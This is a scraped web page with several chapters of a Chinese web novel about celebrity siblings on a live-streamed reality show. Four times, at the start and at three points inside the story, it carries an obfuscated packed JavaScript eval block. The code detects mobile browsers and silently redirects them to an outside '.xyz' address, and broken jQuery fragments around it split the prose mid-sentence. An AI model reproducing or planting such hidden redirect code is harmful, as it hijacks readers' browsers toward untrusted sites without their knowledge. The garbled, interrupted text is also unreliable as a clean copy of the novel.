;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085066|179541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牛逼呢?】 【前面的别乱说,沈聿再傻也不可能当着这么多人的面说谎,肯定是有特殊情况。】 【特殊情况?我看是会员身份有水分吧?】 【别尬黑!沈聿家什么家底没数吗?就算不是星驰会员,叫几辆豪车很难?】 【但他自己说的是星驰啊……现在车迟迟不到,多少有点打脸了吧?】 沈聿的脸色越来越沉,终于忍不住拿出手机,找到星驰接待人的号码拨了过去。 “嘟——嘟——” 电话响了许久,却始终无人接听。 他皱紧眉头,又连续拨了两次,结果依旧。 站在他身后的黄芷禾,脸上的笑容也有些挂不住了。温景和江汀站在他们身后,始终没什么多余的表情。 “艹。”沈聿觉得丢了面子,忍不住低声骂了句脏话。 在第三次拨打时,接待人带着标准的公式化语气说:“您好,星驰俱乐部为您服务。” “我半小时前预约了车辆,到现在还没到,地址是城郊壹号庄园门口,你们怎么回事?”沈聿刻意压低了声音,却掩不住语气里的不耐。 对方顿了两秒,似乎在查询信息,随后礼貌地回应:“抱歉先生,查询到您今日的订单已于十分钟前取消,定金已原路退回至您的账户,您可以查收一下。” “取消?”沈聿的声音陡然拔高,引得周围人都看了过来,“谁让你们取消的?我什么时候取消订单了?” 他赶紧深吸一口气,强压下心头的难堪,对着电话沉声道:“我是你们的资深会员,沈聿。就算有什么变动,难道不该提前通知?就凭我的会员等级,临时安排几辆车很难吗?” 他特意加重“资深会员”四个字,像是在提醒对方自己的身份。然而客服的回应却像一盆冷水,浇得他透心凉: “非常抱歉沈先生,系统显示您的会员等级为白金,目前俱乐部临时接到通知,今日仅接受黑钻会员及以上的紧急调派。您的等级暂时不符合今日的服务标准,因此订单被自动取消,给您带来不便请谅解。” 话里话外,都在说沈聿还不够格。 而这段话,被收声很好的直播设备断断续续录进了直播间。 当着这么多人的面,沈聿只觉得一股怒火直冲头顶,对着手机吼道:“你们知道我是谁吗?敢这么对我说话!信不信我让你们俱乐部关门!” “抱歉沈先生,这是今日的临时规定,我们也只是按章办事。”接待人的语气始终平稳,挂电话的忙音“嘟嘟”响起,像在无情地嘲笑着他的失态。 “妈的!”沈聿终于克制不住脾气,把手机狠狠扔到地上。 【所以到底什么情况?俱乐部今天暂停营业?】 【我听到的是沈聿等级不够,不能临时调派车辆。】 【嘶……你们回想一下江姐姐刚才的表情,总感觉她像是知道什么。】 【不过沈聿这么凶的吗,就算没喊到车也不用砸手机吧。】 江知雾看着窗外的闹剧,轻轻收回视线,声音平静无波地对江砚舟说:“走吧。” “走?”江砚舟一愣,“你安排好了?” “嗯。” 江知雾淡淡嗯了一声,率先迈步向外走去。 江砚舟跟着她来到后门,就看到了一辆私人直升机。 机身在阳光下泛着冷冽的光泽,精准地避开了所有镜头,低调地缓缓降落。 江砚舟:“……” 他姐是真的有钱。 11. 第 11 章 有了直升机这种堪称bug级别的存在,江知雾和江砚舟到达云栖观景园时,仅仅花了十几分钟。 为了低调,他们关掉了随身摄像头。江砚舟先跳下去踩稳地面,转身扶了把江知雾。 观景园的路面是由碎石铺成的,江砚舟目光在姐姐那双高跟鞋上瞟了三次,才憋出句:“要不……我背你?” 江知雾低头看了眼鞋跟,笑出声:“没事,这点路难不倒我。” “早知道就不让你陪着我来综艺了……”江砚舟的声音有些闷闷的。 “为什么?” “做任务很折腾。”江砚舟说,“我黑粉还多,总是连累你被骂。” “说什么傻话,你觉得我在乎流言蜚语吗?”江知雾停下脚步回头看他,阳光透过树叶在她睫毛上跳,“平时总是忙着工作,能抽出这几天陪你,我很高兴。” 江砚舟的脚步顿了顿,垂在身侧的手指蜷缩了下。 风卷着花香漫过来,将他没说出口的话轻轻吹散,只余下耳廓泛起的薄红。 * 到达目的地时,院子里的导演组正围着监视器讨论着什么。 工作人员们听到脚步声抬头,手里的对讲机“啪嗒”掉在地上,连带着旁边举着摄像机的摄像大哥都忘了按录制键,镜头直愣愣地对着突然出现的两人。 “你、你们??”导演推了推滑到鼻尖的眼镜,声音里满是难以置信,“你们…这也太快了吧?” 直播间的弹幕在两人入镜的瞬间就刷了满屏: 【啊???我没看错吧?这是江知雾和江砚舟?他们不是后出发的吗?】 【刚刚他们直播间黑屏了十几分钟,再有画面的时候就已经到目的地了。】 【这速度绝了!他们是长了翅膀飞过来的吗?】 【有没有一种可能,他们抄了什么近道?】 【但就算有近道,也不可能十几分钟从另一头闪现过来吧!】 正说着,外面传来“叮铃铃”的共享单车铃声,李柏和李乐乐气喘吁吁地停在门口,额头上还挂着细密的汗珠。 看到院子里的江知雾和江砚舟时,两人同时张大了嘴巴。 “江姐姐……你们怎么过来的?” 他们可是把共享单车都踩得要冒火星子了,居然不是最快的吗? 江知雾端起刚泡好的茶抿了一口,眼波流转间带着几分俏皮:“秘密。” 李柏和李乐乐看着她带着笑意的眼,被美得有一瞬间失声。 江姐姐不笑的时候很好看,笑起来就更好看了! * 沈聿的工作室本来还在为他疯涨的热度而高兴,正准备买点通稿,再刷刷“小说男主走进现实”的词条,结果就被突如其来的热搜弄得傻了眼。 #沈聿装B失败##沈聿因丢面骂脏话#高高挂在娱乐榜前几,再搭配上他愤怒摔手机的切片视频,让工作室精心包装出的贵公子人设都崩塌了。 而与之相对的,#江砚舟跟姐姐闪现目的地#高高悬挂于热搜榜首,一枝独秀。 【妈呀,我现在感觉江姐姐有种世外高人的气质,先预言俱乐部不营业,又开挂一样完成了节目组的任务。】 【我现在感觉江家姐弟俩不喜欢沈聿是有理由的,毕竟这人一遇到事就暴露本性,骂人的样子跟街头混混似的,太掉价了。】 【本来还觉得沈聿有点风度,结果因为丢了脸就急眼摔手机,还爆粗口?这素质也是没谁了,滤镜碎一地。】 【是啊,就是可怜了我们芷禾,还得柔声细语安慰他。】 【芷禾还陪着弟弟一起去借二手车了,情绪好稳定。】 【不愧是我最看好的一组,感情好得令人羡慕。】 …… 而另一边,心血来潮的沈老爷子抽空看了眼儿子的情况,差点被气得撅过去。 这废物儿子应付不来家族生意,想混娱乐圈,他同意了。 多年不温不火,伸手向家里要钱要资源,他同意了。 打电话请求安排个综艺名额,他不仅同意,还把欠了沈家一个人情的温景安插进去,结果沈聿就是这么给家里丢脸的! 他一边拍着胸口顺气,一边给儿子打了个电话:“沈聿!我让你去综艺是让你长脸的,不是让你对着全国观众摔手机骂街的!” 沈聿烦躁地说:“脾气上来了谁能控制得住。” 老爷子的火气更盛,声音陡然拔高:“你还敢顶嘴?我看你是被惯得没边了!居然还能被江家那个没了父母的野小子比下去,混得也没人家好。” 沈聿恼羞成怒:“您要是不帮忙就别说风凉话!出了事您只会骂我,有本事您把热搜撤了啊!” “蠢货!”沈老爷子被他气笑了,“撤热搜?治标不治本的事!你还不如把矛盾转移到别人身上,靠别人的话题把你这点事情压下去。” 沈聿跟他爹也算是一丘之貉,稍微被一指点,就想明白了。 他阴冷的目光飞快掠过恬静温柔的黄芷禾,最终落在对他始终不冷不热的温景身上。 * 最先到达的四个嘉宾一直等到一小时后,才听见远处传来一阵“突突突”的引擎声。 只见沈聿他们开着一辆二手的老手动挡汽车,摇摇晃晃地停在了院子门口。车身布满了灰尘,看起来有些年头了,车门上还有几道明显的划痕。 沈聿率先从驾驶座下来,他一脸疲惫,额头上青筋微露,估计是一路跟这老手动挡较劲累的。 他身上的衣服变得皱皱巴巴,头发也被风吹得乱糟糟的,灰头土脸的样子和院子里悠闲喝茶的江知雾他们形成了鲜明对比。 当看到江知雾等人正坐在院子里的椅子上,悠闲地喝着茶聊天,正在接受迟到惩罚的沈聿露出了愤懑的神色。 导演清了清嗓子,无意间打破了这微妙的氛围:“好了,人都到齐了,咱们该说下一个任务了。” 他顿了顿,目光扫过在场的嘉宾,“接下来,咱们要体验一把赚钱的不容易——接下来的半天,所有人都得赤手空拳赚生活费。” 李柏眼皮一跳,举手询问:“请问这‘赤手空拳’是什么意思?” 导演解释:“就是说,节目组不会提供任何物品供大家售卖,所有人也不能动用私人资金,也不能找熟人帮忙,全凭自己的本事赚钱。” “导演你知道现在外面有多热吗!”李乐乐夸张地大喊,“我们刚骑车赶过来,胳膊腿都快散架了,这就开始赚钱?” 导演朝她比了个大拇指:“加油,我相信你们可以的。” 沈聿本就憋着一肚子火,闻言直接嗤笑一声。 温景全当做没听见,默默往自己的胳膊和脸上抹防晒霜。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085067|179541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 李柏和李乐乐上综艺的经验丰富,是点子最多的人。他们也就唉声叹气了一会儿,马上想到办法,跑去云栖观景园最热闹的地方表演才艺。 李乐乐脸皮厚,叉着腰一通吆喝,李柏则负责跳舞,倒真的吸引了不少游客的视线。 黄芷禾和江汀一组则选了附近的一家中餐馆打零工,江汀负责端盘子,黄芷禾负责站在门口迎宾,时不时还要过来给弟弟擦个汗,弹幕上纷纷感叹姐弟情深。 另一边,温景则沉默地看了看四周,目光落在不远处一家挂着“宠物乐园”招牌的店铺上,径直走了过去。 没过多久,就见她在店里帮着给小狗梳毛、清理笼子,动作算不上熟练,却透着一股认真劲儿。 沈聿站在原地,眉头皱得能夹死蚊子。他瞥了眼在宠物店忙碌的温景,又看了看远处隐约传来音乐声的方向,脸上写满了不耐烦,最终只能僵硬地跟进去帮忙。 太阳渐渐升到头顶,气温越来越高。 李柏兄妹跳得满头大汗,T恤都湿透了,实在扛不住这热浪,跑到黄芷禾所在的中餐馆屋檐下乘凉。 李乐乐一边用袖子擦汗,一边往四周看了看,疑惑地嘀咕:“这天也太热了吧……江姐姐和江砚舟呢?” “江姐姐细皮嫩肉的,也不知道受不受得了这太阳。”李柏有些愁。 李乐乐受到感染,也跟着唉声叹气烦恼起来。 刚送走一波客人的黄芷禾正好端着水壶出来添水,听到这话便笑着转过身,脸上的笑容温和又大方,语气也带着十足的体谅:“估计是找地方歇脚去了吧,这天确实晒得人受不住。” 她抬手擦了擦额角的汗,顺势补充道,“不过也没事,反正咱们最后赚的钱都是要汇总到一起用的,谁多干点谁少干点,其实也差不了太多。” 这话听着是在宽心,李柏兄妹对视一眼,心里隐隐觉得哪里不对,但也说不上来。 直播间的观众却打抱不平起来: 【最后赚的钱大家一起用?那也太不公平了!大家都在累死累活搞钱,凭什么要跟没干活的人平分?】 【前面的+1!江家姐弟到现在连人影都没见着,要是最后钱要汇总,那谁还愿意卖力啊?】 【节目组也没说要集体用啊!这要是真一起分,那努力赚钱的人也太亏了吧?强烈建议各自持有!】 弹幕上吵得不可开交时,李柏无意间瞥见不远处的垃圾桶旁,有张被人揉了一半的传单。 他本来没在意,可风一吹,传单边角展开,露出里面五彩缤纷的字迹。 他弯腰捡起来一看,只见上面用夸张的字体写着:“本地导游,提供英语翻译/行李搬运/路线规划服务,附赠帅哥陪玩!”尤其是“帅哥陪玩”四个字,用红色马克笔加粗描了三遍。 光天化日之下,实在辣眼睛! 李柏正纳闷这传单是谁扔的,忽然被一阵对话吸引了注意力。 顺着声音望去,只见江知雾正站在几位金发碧眼的游客中间,白皙的手指轻叩着手里的景区地图,发音流畅、吐字清晰地用英语介绍着什么。 江砚舟则一手提行李,一手举着伞,默默替姐姐挡住阳光,顺便还得僵着脸忍受外国小姐姐的调戏。 李柏突然反应过来,抽了抽嘴角。 这不会就是传单上的帅哥陪玩业务吧? 12. 第 12 章 不过,江砚舟虽然不耐烦,却始终亦步亦趋地跟在姐姐身后。哪怕手上一堆行李,额角的汗已经淌成排,也没发作他的大少爷脾气。 江知雾身上的白衬衫被风吹得贴在后背,勾勒出纤细的线条,发尾沾着几缕被汗水打湿的碎发,却丝毫没影响那份从容—— 她正用生动的比喻解释着当地的历史典故,逗得几位游客连连点头,其中一位金色卷发的阿姨更是拉着她的手笑个不停,满眼都是喜爱。 直播间的风向顿时变了: 【江姐姐这英语太绝了吧!发音标准得像BBC播音员。】 【英专人表示她用词也特别地道,连“榫卯结构”都能用英语说得清清楚楚。】 【她开口的时候有一种“腹有诗书气自华”的感觉。】 【哈哈哈哈哈江砚舟被调戏的时候,有股纯情男高既视感(不是)】 【我就想知道那个“帅哥陪玩”是谁写的,戳中我笑点了谁懂啊。】 看到弹幕清一色的夸赞,部分黑粉坐不住了: 【为了吸引眼球也是出卖上男色了,投机取巧。】 【黄芷禾和江汀在餐馆里端盘子、擦桌子,一站就是几小时,那才叫踏踏实实赚钱!】 有路人忍不住站出来反驳: 【??没必要踩一捧一吧?用自己的技能赚钱也算不踏实?逻辑感人】 【赚钱的方式本来就多种多样,能靠能力赚到钱,就是本事。】 【刚才还有某家粉丝打抱不平,说赚来的钱汇总用不公平,现在江砚舟他们赚得最多,这又怎么说?】 * 沈聿蹲在宠物店的软垫上,指尖悬在那只布偶猫蓬松的尾巴上方,正琢磨着该用什么角度抚摸才显得既温柔又不刻意。 旁边的摄像大哥很上道地把镜头怼近,给他的侧脸和猫咪的绒毛来了个特写。 ——按照沈聿的预想,接下来弹幕该刷起“沈聿好温柔”“猫咪和帅哥好配”之类的话了,正好能冲淡他摔手机的负面印象。 结果无意间一扫手机,直播间满屏滚动的弹幕里,十句有八句在调侃江砚舟的“帅哥陪玩”传单,剩下两句在讨论他们靠导游费赚了多少。 偶尔闪过几条提到他的,也全是“他怎么还在摸猫”“别磨蹭了快干活”的嘲讽。 “……” 沈聿顿时没了摆拍的心情。 江知雾这边的讲解刚告一段落,几位外国游客便热情地掏出小费,连声道谢。 她又细心地用手机帮他们查好返程的巴士时刻表,才目送着一行人离开。 看着江知雾手里红色的钞票,黄芷禾脸上那抹大方的笑容忽然变得有些淡了。 “江姐姐,你也太厉害了吧!”李乐乐第一个凑上前,眼睛亮晶晶地看着江知雾手里的钱,语气里满是崇拜,“这才多久啊,就赚了这么多。” 黄芷禾跟着笑笑:“说起来,我之前还真没往导游这方面想过。早知道能赚钱,我也去试试了。” 沈聿也走了过来,带着一副慷慨热心的表情说:“知雾,你们这导游生意看起来挺不错的,要是以后忙不过来,尽管跟我说,我可以过来帮忙照顾照顾生意。” 他刻意把“帮忙”两个字说得很重,仿佛自己做出了多大的牺牲似的。 也真亏他好意思说出口。 江砚舟听到沈聿这话,连眼皮都没抬一下,完全没理他,就好像没听见一样。 黄芷禾跟着表示:“我和小汀也能帮忙啊,人多的时候我们可以打打下手,做点力所能及的事。” 他们在中餐馆打零工,干满三个小时也就50块钱。而江知雾和江砚舟只是动动嘴皮子带带路,居然就能拿到一张红钞票。 这么想来,还是当导游比较划算。 李乐乐顺嘴问道:“芷禾,你会英语吗?这里外国游客很多,英语好像还挺重要的。” 黄芷禾说:“小汀会,他英语说得可好了。”顿了顿,她又自信地补充道,“而且我也会一点。” 之前她受邀去国外拍杂志的时候,有突击培训过英语,简单的对话应该还是没问题的。 正说着,他们附近的摊位前停下了一个高鼻梁的外国游客。 他手里捏着个编得活灵活现的草蚱蜢,眉头微蹙地打量着,嘴里冒出一串叽里咕噜的问句。 摆摊的是个年迈的老爷爷,他见到好不容易来了生意,赶紧弓着背站起。 他脸上堆着沟壑纵横的笑,手里比划着捻草绳的动作,又指了指草蚱蜢,嘴里反复念叨着:“这个……好得很咧!纯手工编的,结实!” 可碍于语言不通,那名外国游客眼里的期待渐渐变成茫然。 老爷爷急得额头渗出细汗,佝偻的背又弯下去几分。 他环顾四周,目光扫过不远处的黄芷禾一行人时,像是抓住了救命稻草,连忙朝着他们的方向扬手,声音带着恳求:“小姑娘……能不能帮个忙?这外国朋友……我实在听不懂他说啥啊!” 他一边喊,一边用另一只手朝着外国游客比划,又指了指黄芷禾,大概是想让对方明白,自己需要翻译帮忙。 外国游客顺着他的手势看过来,眼里立刻露出释然的神色,也跟着朝离他最近的黄芷禾露出友善的微笑,还特意把草蚱蜢举得更高了些,显然是希望她能过来搭个话。 黄芷禾脸上的笑容瞬间僵了半秒。 因为她也没能听懂那名外国游客在说什么。 黄芷禾下意识地看向江汀,却见少年正低头数着刚从中餐馆结的零工费,指尖在皱巴巴的纸币上捻来捻去,似乎压根没注意到这边的动静。 实在没了办法,黄芷禾只能根据情景瞎蒙一下对方的意思: “呃……他在问你这东西的价格。” 老爷爷连忙伸出布满老茧的手,比划了个“五”字:“五块钱!一个五块钱!” 可外国游客却更困惑了,他把草蚱蜢举到眼前,眉头蹙得更紧,又叽里咕噜说了一串话,语气里带着明显的疑问。 老爷爷这下彻底懵了,不知所措地望向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085068|179541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黄芷禾。 黄芷禾在脑子里搜刮半天,却依旧不解其意。 就在这时,一道清润的声音插了进来:“这是用当地特有的龙须草编的,” 江知雾不知何时走了过来,用流利的英语解释,还顺手拿起摊位上一束晒干的草茎展示,“每年春天收割,要在阴凉处晾足三个月才能变得这么有韧性。” 外国游客恍然大悟,眼睛亮了起来,又指着草蚱蜢的翅膀问编织手法。 江知雾转头看向老爷爷,老爷爷立刻来了精神,拿起几根草茎在手里飞快地穿梭起来,枯瘦的手指灵活得不像个老人,嘴里还念叨着“三股拧,四股缠,翅膀要留三分软”。 江知雾一边翻译,一边帮着比划,老爷爷说得兴起,索性放下草茎,从摊位底下翻出个褪色的布包,里面竟是些编到一半的半成品,有蚂蚱的腿,有蝴蝶的翅膀,层层叠叠码得整整齐齐。 “他说这门手艺是祖传的,到他这辈已经是第五代了,”江知雾转译道,“可惜现在年轻人没人学,这些草编卖不上价,连成本都快收不回来了。” 外国游客听得认真,听完后郑重地举了举手里的草蚱蜢,用带着敬意的语气说要多买几个当纪念品。 老爷爷笑得皱纹都挤在了一起,特意挑了几个颜色鲜亮的草编,颤颤巍巍往牛皮纸袋里装。 江砚舟看他行动不便,默不作声地走上前,伸手接过了老爷爷手里的纸袋。 老爷爷愣了一下,随即连忙摆手:“不用不用,我自己来就行,不敢劳烦年轻人。” 江砚舟没说话,只是从裤兜里摸出个透明密封袋——那是他用来装昂贵饰品的,此刻正好派上用场。 他将几个草蚱蜢小心翼翼地放进密封袋,又把袋口捏紧,才重新放回牛皮纸袋里。 “这样不容易压坏。”他声音平平地解释了一句,听不出情绪,却让老爷爷有些不知所措。 老人家干瘦的手在围裙上蹭了又蹭,想说句道谢的话,喉咙里却像堵了团棉花,最后只化作几声感恩的叹息。 外国游客把这一幕看在眼里,对着江砚舟竖起了大拇指,夸赞道:“You''resokind.” 江砚舟抬眼瞥了他一下,没接话,只是将装好的纸袋递过去。 倒是江知雾笑着说了一句:“他就是看着冷淡,其实心细得很。”说罢又转头对老爷爷道,“您别客气,年轻人帮把手是应该的。” 外国游客付了钱,又特意和老爷爷握了握手,才带着纸袋满意地离开。 老爷爷望着他的背影,又看看江知雾姐弟,突然从摊位底下摸出两个巴掌大的草编小兔子,非要塞给他俩:“这个送给你们,不值钱,就是个心意。” 江砚舟想推辞,却被老爷爷死死按住手腕。老人家的手像枯树枝,力气却意外地大:“拿着吧,我看你面冷心热,是善良的好孩子。” 江砚舟耳朵连着锁骨都泛着薄红,像是被那句“好孩子”烫到了似的。 江知雾看他这副样子,眼底漾起细碎的笑意。 13. 第 13 章 老爷爷送的草编小兔子做得活灵活现,龙须草特有的清浅草木香裹在细韧的草茎里,摸起来带着点干燥的糙意。 江知雾很喜欢,次日就挂到了自己的手机壳上。 江砚舟见状,也有样学样,草编的小兔子在手机壳上晃啊晃。 作为热搜上的常客,江砚舟槽点满满的“帅哥陪玩”业务,毫无疑问又小爆了一次。 被疯狂转播的切片视频里,有江砚舟臭着脸,提着大包小包行李、面无表情被外国小姐姐调戏的模样,也有他认真低头,帮老爷爷把草编的手工艺品放进密封袋的专注侧脸,还有他被夸“好孩子”后耳根都泛红的瞬间。 这些画面与他平日里那副拒人千里的冷淡模样判若两人,评论区里瞬间被一排排问号淹没。 【???艹了,你跟我说这是江砚舟?】 【突然觉得顶流反差好大好萌哈哈哈哈,有点点对他改观了。】 【江砚舟你不会是被啥鬼东西附体了吧?没想到你竟是这样的弟弟。】 【我要蹲守直播间看看究竟是怎么个事儿!】 好奇的路人一股脑涌入直播间,打算一探究竟。 吃完早饭后,导演拿着任务卡站在队伍中间:“为了让大家更熟悉彼此,今天咱们换个玩法——重新抽签组队,继续昨天的赚钱挑战。” 江砚舟下意识问:“重新抽签组队?就是说我们要换搭档?” “对,大家到我手里抽取卡片,抽中谁的名字,谁就是你今天的临时搭档。” 江砚舟的手指猛地收紧,卡片被他按出轻微折痕。 他的目光不受控制地飘向江知雾,对方正低头回助理的消息,似乎对换搭档这件事并不在意。 这个认知让江砚舟心里莫名发闷,连带着抽到新搭档名字时,他只是瞥了眼卡片上“李柏”两个字,就面无表情地塞进了裤兜。 李乐乐在另一头激动地喊:“江姐姐,我跟你是一组的!” 江砚舟的视线就像被磁石吸住似的,不受控制地望过去,牢牢粘在江知雾的侧脸上。 直到李柏戳了戳他的胳膊:“砚舟,咱们今天去街头卖艺怎么样?你唱歌这么好听,肯定能有很多打赏。” 他才猛地回神,眼神里还带着没散的茫然,半晌才含糊地“嗯”了一声,脚步却不由自主地朝着江知雾的方向挪了半步。 摄像机适时地怼到他面前,编导笑着提问:“江老师,和李柏老师组队感觉怎么样?对今天的任务有信心吗?” 江砚舟的视线越过镜头缝隙,看见江知雾正在系鞋带,动作还是那样沉稳从容。他脑子里乱糟糟的,脱口而出道: “谁舍不得她了,我才没舍不得她。” 编导:“……” 江砚舟这才反应过来自己在说什么,别开脸假装看旁边的桌脚。 这时江知雾正好系完鞋带抬头,对上他的目光,笑着挥了挥手:“我们准备先去市场考察考察,你们呢?” 江砚舟的心跳漏了一拍,下意识地就想迈步跟上去,被李柏拉了一把才没失态。他抿着唇,声音闷闷的:“我们去卖艺。” 江知雾被他这别扭的样子逗笑:“那你们好好赚钱,要加油哦。” “知道了……”江砚舟低声嘟囔。 等江知雾转身和李乐乐离开时,他又忍不住伸长脖子,看着两人并肩走远的背影,直到那抹浅蓝的衣角消失在拐角,才怅然若失地收回目光。 李柏在一旁看得清楚,忍不住打趣:“你刚才那眼神,活像被抛弃的大型犬。” 江砚舟面无表情地看了他一眼。 李柏摸了摸鼻子,赶紧切回正题:“我们也抓紧时间吧。” 江砚舟没有应他,迈着长腿径自上了车。 被落在原地的李柏赶紧追上去,心里嘀咕。 最近有江姐姐在,他还以为这小子脾气变好了。这会儿没了人镇着,那股子生人勿近的劲儿全冒出来了,冷得能掉冰碴子。 两人到了昨天的地方,李柏扯着嗓子吆喝得正起劲:“走过路过别错过!吉他弹唱,点歌只要五块,打赏随意——” 他嗓门洪亮,态度热情,很快就围拢了一圈看热闹的路人。 圈中央的江砚舟抱着吉他坐在小马扎上,指尖拨弄琴弦的动作却没受半点影响。他垂着眼帘,长睫在眼睑投下一小片阴影,清冽的歌声顺着和弦流淌出来。 路过的游客举着手机拍个不停,打赏声不断。 但江砚舟对此似乎毫不在意,始终没有跟游客互动,跟李柏也处于零交流的状态。 日头爬到头顶时,李柏看着支付软件里的丰厚的钱,终于松了口气,抹了把额头的汗笑道:“今天收成可以啊,中午咱去街口那家老字号吃顿好的——” 话落半天,却始终没等来回应。 李柏转头一看,江砚舟的视线正越过人群,直直落在街角的方向。 他顺着目光望去,发现那里站着一位穿浅蓝色衣服的姑娘,背影与江姐姐略有些相似。 “砚舟?”李柏提高声音重复道,“去吃红烧鱼?” 江砚舟这才回神,语气有些不耐烦:“随便。” 李柏尴尬地咳了咳,随即又恢复若无其事。 他心里门儿清,这些打赏里十有八九是冲江砚舟来的,天才嘛,脾气冷点也正常,犯不着往心里去。 但弹幕却有些看不下去了: 【为什么搭档喊了他两声都不理,真把自己当大少爷了?】 【今天也没谁惹他吧,江砚舟怎么跟谁欠了他八百万似的。】 【别吹什么反差萌了,看今天这死样子才是他本色吧!作秀能不能走点心?】 沈聿跟新搭档江汀就在不远处的餐馆帮厨。 他捏着鼻子从后厨跑出来时,鼻尖还萦绕着挥之不去的油烟味。 也不知道江汀怎么呆得住这种破地方,又油又脏,恶心死了! 沈大少爷皱着眉把沾污的地方往外撇,瞥见不远处江砚舟和李柏的摊位前围得热闹,脚步一转就凑了过去。 “砚舟。”他笑得热络,“你们这生意可以啊,我也来向你们学学。” 他说着就往江砚舟旁边的空位凑,刚要坐下,就听见江砚舟冷漠地说:“想学闭嘴的话,我现在就可以教你。” 沈聿:“不是,我来看看你们有没有需要帮忙的。” 江砚舟毫不留情:“我们这儿不缺人,更不缺添乱的。” “我没有添乱……”沈聿强笑道。 江砚舟的话带着股不容置喙的驱赶意味:“但你挡着我们做生意了。” 沈聿想发火,但被江砚舟冰冷冷地瞪了一眼之后,悻悻地克制住了。 “行吧,那你们忙……” “不送。” 【怎么感觉江砚舟像是突然吃了炮仗一样。】 【不是突然吃了炮仗,是他最近都温顺得反常,只不过今天又变回原样了而已。】 【哈哈哈哈想学闭嘴我可以教你……江砚舟舔了口嘴唇被自己毒死了。】 【不过沈聿被冷脸纯属自找的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085069|179541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一看就是不想干活才来这儿晃悠,被怼活该。】 另一边,温景和黄芷禾在猫咖里忙得团团转。 黄芷禾刚给一只折耳猫添完猫粮,转身就看见靠窗的小桌旁坐着个扎羊角辫的小姑娘,正对着摊开的练习册愁眉苦脸。 不知怎的,黄芷禾忽然想起昨天江知雾帮老爷爷翻译时,弹幕里满屏的“姐姐好厉害”“高智商女神”。 她心里一动,脸上堆起笑走过去:“小朋友,遇到难题了吗?姐姐帮你看看呀?” 小姑娘抬起头,眼里还含着点水汽:“姐姐,这道奥数题好难,我算半天也算不出来。” 黄芷禾探头一看,题目是关于行程问题的变式,里面还掺杂着比例换算,比她上学时做过的难题还要绕。 她心里一突,脸上却依旧维持着镇定:“不难不难,姐姐帮你理理思路。” 她拿起笔,假装认真地在草稿纸上写写画画,嘴里念念有词:“你看啊,这个速度和时间……应该先求路程对吧?”笔尖在纸上划了半天,公式列了一串,却越算越乱,最后得出的数字连自己都说服不了。 小姑娘眨巴着大眼睛看着她,小声提醒:“姐姐,这里的单位好像弄错了,应该是千米每小时,不是米……” 黄芷禾的脸瞬间有点发烫,赶紧擦掉重算。可越急越乱,草稿纸上很快就画满了涂改的痕迹。 没想到小学奥数也这么难。 还得是江知雾运气好,刚好碰上了会翻译的话题,狠狠立了波高智商人设。 小姑娘看了看她写得一团乱的草稿,叹了口气:“要不还是我自己来吧,谢谢姐姐。”说完拿回自己的笔,小手握着笔在纸上飞快地演算起来。 黄芷禾臊得不行,转身就扎进了咖啡台洗杯子。 * 午后的阳光渐渐被云层吞噬,空气闷得像团浸了水的棉絮。 江砚舟抱着吉他坐在小马扎上,指尖已经被磨得通红,却恍若未觉。 李柏想劝他歇歇,但碍于那张生人勿近的冷脸,始终不敢上前。 突然,“啪”一声,吉他上的琴弦直接崩断了。 江砚舟垂着眼,长睫在眼下投出一片浓重的阴影,连带着周身的气压都低了好几度。方才唱歌时还有的那点微末情绪,此刻彻底沉了下去。 不知过了多久,豆大的雨点毫无征兆地砸了下来,先是零星几点,很快就连成了线,噼里啪啦地打在遮阳棚上。 人群惊呼着四散避雨,李柏手忙脚乱地收拾东西:“下雨了!快把吉他收进车里!” 江砚舟猛地回神,第一反应不是护着怀里的吉他,而是抬头看向天空。 乌云沉沉压下来,雨势越来越猛,豆大的雨点砸在地上溅起水花,转眼就漫湿了街面。 他的心莫名一紧。 江知雾早上出门时没带伞,她那身衣服料子薄,淋了雨肯定会着凉。 